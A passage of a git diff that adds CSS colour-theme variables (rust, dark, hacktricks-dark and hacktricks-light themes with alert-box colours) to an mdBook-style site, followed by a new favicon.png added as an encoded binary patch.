+    --copy-button-filter: invert(51%) sepia(10%) saturate(393%) hue-rotate(198deg) brightness(86%) contrast(87%);
+    /* Same as `--sidebar-active` */
+    --copy-button-filter-hover: invert(46%) sepia(20%) saturate(1537%) hue-rotate(156deg) brightness(85%) contrast(90%);
+}
+
+.rust {
+    --bg: hsl(60, 9%, 87%);
+    --fg: #262625;
+
+    --sidebar-bg: #3b2e2a;
+    --sidebar-fg: #c8c9db;
+    --sidebar-non-existant: #505254;
+    --sidebar-active: #e69f67;
+    --sidebar-spacer: #45373a;
+
+    --scrollbar: var(--sidebar-fg);
+
+    --icons: #737480;
+    --icons-hover: #262625;
+
+    --links: #2b79a2;
+
+    --inline-code-color: #6e6b5e;
+
+    --theme-popup-bg: #e1e1db;
+    --theme-popup-border: #b38f6b;
+    --theme-hover: #99908a;
+
+    --quote-bg: hsl(60, 5%, 75%);
+    --quote-border: hsl(60, 5%, 70%);
+
+    --warning-border: #ff8e00;
+
+    --table-border-color: hsl(60, 9%, 82%);
+    --table-header-bg: #b3a497;
+    --table-alternate-bg: hsl(60, 9%, 84%);
+
+    --searchbar-border-color: #aaa;
+    --searchbar-bg: #fafafa;
+    --searchbar-fg: #000;
+    --searchbar-shadow-color: #aaa;
+    --searchresults-header-fg: #666;
+    --searchresults-border-color: #888;
+    --searchresults-li-bg: #dec2a2;
+    --search-mark-bg: #e69f67;
+
+    /* Same as `--icons` */
+    --copy-button-filter: invert(51%) sepia(10%) saturate(393%) hue-rotate(198deg) brightness(86%) contrast(87%);
+    /* Same as `--sidebar-active` */
+    --copy-button-filter-hover: invert(77%) sepia(16%) saturate(1798%) hue-rotate(328deg) brightness(98%) contrast(83%);
+}
+
+@media (prefers-color-scheme: dark) {
+    html:not(.js) {
+        --bg: hsl(200, 7%, 8%);
+        --fg: #98a3ad;
+
+        --sidebar-bg: #292c2f;
+        --sidebar-fg: #a1adb8;
+        --sidebar-non-existant: #505254;
+        --sidebar-active: #3473ad;
+        --sidebar-spacer: #393939;
+
+        --scrollbar: var(--sidebar-fg);
+
+        --icons: #43484d;
+        --icons-hover: #b3c0cc;
+
+        --links: #2b79a2;
+
+        --inline-code-color: #c5c8c6;
+
+        --theme-popup-bg: #141617;
+        --theme-popup-border: #43484d;
+        --theme-hover: #1f2124;
+
+        --quote-bg: hsl(234, 21%, 18%);
+        --quote-border: hsl(234, 21%, 23%);
+
+        --warning-border: #ff8e00;
+
+        --table-border-color: hsl(200, 7%, 13%);
+        --table-header-bg: hsl(200, 7%, 28%);
+        --table-alternate-bg: hsl(200, 7%, 11%);
+
+        --searchbar-border-color: #aaa;
+        --searchbar-bg: #b7b7b7;
+        --searchbar-fg: #000;
+        --searchbar-shadow-color: #aaa;
+        --searchresults-header-fg: #666;
+        --searchresults-border-color: #98a3ad;
+        --searchresults-li-bg: #2b2b2f;
+        --search-mark-bg: #355c7d;
+
+        --color-scheme: dark;
+
+        /* Same as `--icons` */
+        --copy-button-filter: invert(26%) sepia(8%) saturate(575%) hue-rotate(169deg) brightness(87%) contrast(82%);
+        /* Same as `--sidebar-active` */
+        --copy-button-filter-hover: invert(36%) sepia(70%) saturate(503%) hue-rotate(167deg) brightness(98%) contrast(89%);
+    }
+}
+
+.hacktricks-dark {
+    --bg: hsl(0, 0%, 11%);
+    --fg: #ffffff;
+
+    --menu-bar-link-color: #b8b8b8;
+    --menu-bar-link-color-hover: #ffffff;
+
+    --sidebar-bg: hsl(0, 0%, 11%);
+    --sidebar-bg-hover: #2f2f2f;
+    --sidebar-fg: #c0c0c0;
+    --sidebar-non-existant: #505274;
+    --sidebar-active: #496dff;
+    --sidebar-spacer: #2d334f;
+
+    --scrollbar: var(--sidebar-fg);
+
+    --icons: #ffffff;
+    --icons-hover: #b7b9cc;
+
+    --links: #496dff;
+
+    --inline-code-color: #c5c8c6;
+
+    --theme-popup-bg: #161923;
+    --theme-popup-border: #737480;
+    --theme-hover: #2f2f2f;
+
+    --quote-bg: hsl(226, 15%, 17%);
+    --quote-border: hsl(226, 15%, 22%);
+
+    --warning-border: #ff8e00;
+
+    --table-border-color: #2f2f2f;
+    --table-header-bg: hsl(226, 23%, 31%);
+    --table-alternate-bg: hsl(226, 23%, 14%);
+
+    --searchbar-border-color: #2f2f2f;
+    --searchbar-bg: hsl(0, 0%, 11%);
+    --searchbar-fg: #ffffff;
+    --searchbar-shadow-color: #aaa;
+    --searchresults-header-fg: #b7b9cc;
+    --searchresults-border-color: #2f2f2f;
+    --searchresults-li-bg: hsl(0, 0%, 11%);
+    --search-mark-bg: #a2cff5;
+
+    --sponsor-fg: #cfcdcd;
+
+    --color-scheme: dark;
+
+    /* Same as `--icons` */
+    --copy-button-filter: invert(51%) sepia(10%) saturate(393%) hue-rotate(198deg) brightness(86%) contrast(87%);
+    /* Same as `--sidebar-active` */
+    --copy-button-filter-hover: invert(46%) sepia(20%) saturate(1537%) hue-rotate(156deg) brightness(85%) contrast(90%);
+
+    .mdbook-alerts-note {
+        --mdbook-alerts-color: rgba(1, 1, 1, 0.04) !important;
+        --mdbook-alerts-color-link: rgb(73, 109, 255) !important;
+        --mdbook-alerts-color-link-hover: rgb(112, 139, 250) !important;
+    }
+      
+    .mdbook-alerts-tip {
+        --mdbook-alerts-color: rgba(34, 197, 94, 0.08) !important;
+        --mdbook-alerts-color-link: rgb(74 222 128) !important;
+        --mdbook-alerts-color-link-hover: rgb(134 239 172) !important;
+    }
+      
+    .mdbook-alerts-important {
+        --mdbook-alerts-color: rgb(130, 80, 223) !important;
+        --mdbook-alerts-color-link: rgb(130, 80, 223) !important;
+        --mdbook-alerts-color-link-hover: rgb(130, 80, 223) !important;
+    }
+      
+    .mdbook-alerts-warning {
+        --mdbook-alerts-color: rgba(249, 115, 22, 0.08) !important;
+        --mdbook-alerts-color-link: rgba(249, 115, 22, 0.08) !important;
+        --mdbook-alerts-color-link-hover: rgba(249, 115, 22, 0.08) !important;
+    }
+      
+    .mdbook-alerts-caution {
+        --mdbook-alerts-color: rgba(239, 68, 68, 0.08) !important;
+        --mdbook-alerts-color-link: rgb(248 113 113) !important;
+        --mdbook-alerts-color-link-hover: rgb(252 165 165) !important;
+    }
+
+}
+
+.hacktricks-light {
+    --bg: hsl(0, 0%, 100%);
+    --fg: hsl(0, 0%, 0%);
+
+    --menu-bar-link-color: #747474;
+    --menu-bar-link-color-hover: #000000;
+
+    --sidebar-bg: #fff;
+    --sidebar-bg-hover: ##f6f6f6;
+    --sidebar-fg: hsl(0, 0%, 0%);
+    --sidebar-non-existant: #aaaaaa;
+    --sidebar-active: #496dff;
+    --sidebar-spacer: #f4f4f4;
+
+    --scrollbar: #8F8F8F;
+
+    --icons: #747474;
+    --icons-hover: #000000;
+
+    --links: #496dff;
+
+    --inline-code-color: #301900;
+
+    --theme-popup-bg: #fafafa;
+    --theme-popup-border: #cccccc;
+    --theme-hover: ##f6f6f6;
+
+    --quote-bg: hsl(197, 37%, 96%);
+    --quote-border: hsl(197, 37%, 91%);
+
+    --warning-border: #ff8e00;
+
+    --table-border-color: hsl(0, 0%, 95%);
+    --table-header-bg: hsl(0, 0%, 80%);
+    --table-alternate-bg: hsl(0, 0%, 97%);
+
+    --searchbar-border-color: #aaa;
+    --searchbar-bg: #fafafa;
+    --searchbar-fg: #000;
+    --searchbar-shadow-color: #aaa;
+    --searchresults-header-fg: #666;
+    --searchresults-border-color: #888;
+    --searchresults-li-bg: #e4f2fe;
+    --search-mark-bg: #a2cff5;
+
+    --sponsor-fg: #333333;
+
+    --color-scheme: light;
+
+    /* Same as `--icons` */
+    --copy-button-filter: invert(45.49%);
+    /* Same as `--sidebar-active` */
+    --copy-button-filter-hover: invert(14%) sepia(93%) saturate(4250%) hue-rotate(243deg) brightness(99%) contrast(130%);
+
+
+    
+    .mdbook-alerts-note {
+        --mdbook-alerts-color: rgba(0.098353, 0.098353, 0.098353, 0.04) !important;
+        --mdbook-alerts-color-link: rgb(9, 105, 218) !important;
+        --mdbook-alerts-color-link-hover: rgb(9, 105, 218) !important;
+    }
+      
+    .mdbook-alerts-tip {
+        --mdbook-alerts-color: rgba(34, 197, 94, 0.08) !important;
+        --mdbook-alerts-color-link: rgb(22 101 52) !important;
+        --mdbook-alerts-color-link-hover: rgb(20 83 45) !important;
+    }
+      
+    .mdbook-alerts-important {
+        --mdbook-alerts-color: rgb(130, 80, 223) !important;
+        --mdbook-alerts-color-link: rgb(130, 80, 223) !important;
+        --mdbook-alerts-color-link-hover: rgb(130, 80, 223) !important;
+    }
+      
+    .mdbook-alerts-warning {
+        --mdbook-alerts-color: rgba(249, 115, 22, 0.08) !important;
+        --mdbook-alerts-color-link: rgba(249, 115, 22, 0.08) !important;
+        --mdbook-alerts-color-link-hover: rgba(249, 115, 22, 0.08) !important;
+    }
+      
+    .mdbook-alerts-caution {
+        --mdbook-alerts-color: rgba(239, 68, 68, 0.08) !important;
+        --mdbook-alerts-color-link: rgb(153 27 27) !important;
+        --mdbook-alerts-color-link-hover: rgb(127 29 29) !important;
+    }
+}
\ No newline at end of file
diff --git a/theme/favicon.png b/theme/favicon.png
new file mode 100644
index 0000000000000000000000000000000000000000..1671d0bf87a70624ef869e65b3c7c0ef3a15905f
GIT binary patch
literal 14122
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%0APJubNLpK0kwg#k`k=XT_%n~=DGsqfJt3C
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
